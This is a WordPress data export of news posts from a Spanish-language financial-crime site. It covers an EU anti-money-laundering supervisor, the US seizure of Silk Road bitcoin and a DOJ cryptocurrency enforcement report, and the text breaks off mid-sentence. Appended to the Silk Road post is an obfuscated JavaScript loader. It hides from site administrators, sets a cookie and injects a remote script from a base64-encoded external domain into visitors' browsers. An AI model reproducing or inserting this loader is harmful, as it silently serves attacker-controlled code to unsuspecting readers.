15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia 